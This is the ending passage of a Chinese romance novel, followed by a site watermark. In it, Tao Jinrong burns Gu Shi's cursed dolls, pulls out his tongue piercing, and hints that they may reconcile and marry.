一个清冷的女声响起,他被吓了一跳,陶金荣趁这个空档飞快地夺走了他手中的两个小人,嫌弃地用两根手指捏了起来,放在自己的眼前晃了晃。 她嗤笑了一声: “呵,这种东西有个屁用啊” 被她这样嘲讽,顾时心里觉得委屈,说: “我问你我究竟要怎么做才好,你又不告诉我,那我还能怎么办?” 陶金荣没忍住笑了出来: “我突然出现在这儿,你怎么一点都不惊讶?你就不好奇我是怎么进来的吗?” “你想来就来。” “哈哈哈……” 她笑着把那两个晦气的娃娃丢进了碳炉里,伸手捏着顾时的下巴,道: “张嘴。” 他乖乖地把双唇张开,却又不张得太大,他怕自己的脸会因夸张的表情而变形。 她伸手,咔嚓一下,把他的舌钉从两端拧开,猛地拔了下来,随手丢在那碳炉里,和两个扎了生辰八字的倒霉娃娃作伴。 陶金荣的语气里带着三分揶揄,三分叹息: “别再这样糟蹋自己了。” 说完后,她觉得鼻子发酸,这话曾经也有人同她说过,现在又由她说给他来听。 简直恍若隔世。 顾时觉得自己的舌尖隐隐约约地渗出来了血腥气,他只觉得很想和她接吻。 “如果我变好了,你会重新和我在一起吗?” 她拍了拍他的肩膀,笑道: “也许明天就会,也许永远不会。” 他顺势搂住了她的后背,吻上了她的唇,可是就当他刚刚把双唇覆盖在她唇上的时候,又如同触电一般分开了……他松开了她,双眼里闪烁着泪光,被动地等待着她的答复。 她拖长了语调,有点像在唱歌似的说: “顾时,我再也不需要你为了我而感到痛苦了。” 顾时攥紧了拳头,手心里渗出了一层冷汗: “你是不再需要我了吗?” 她忽然眯起眼睛笑了起来,她心底还没想好要怎么答复他。 只是她忽然觉得,也许在明天春天月季花开的时候和他成婚这个点子,好像也没那么差。 (全文完)魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m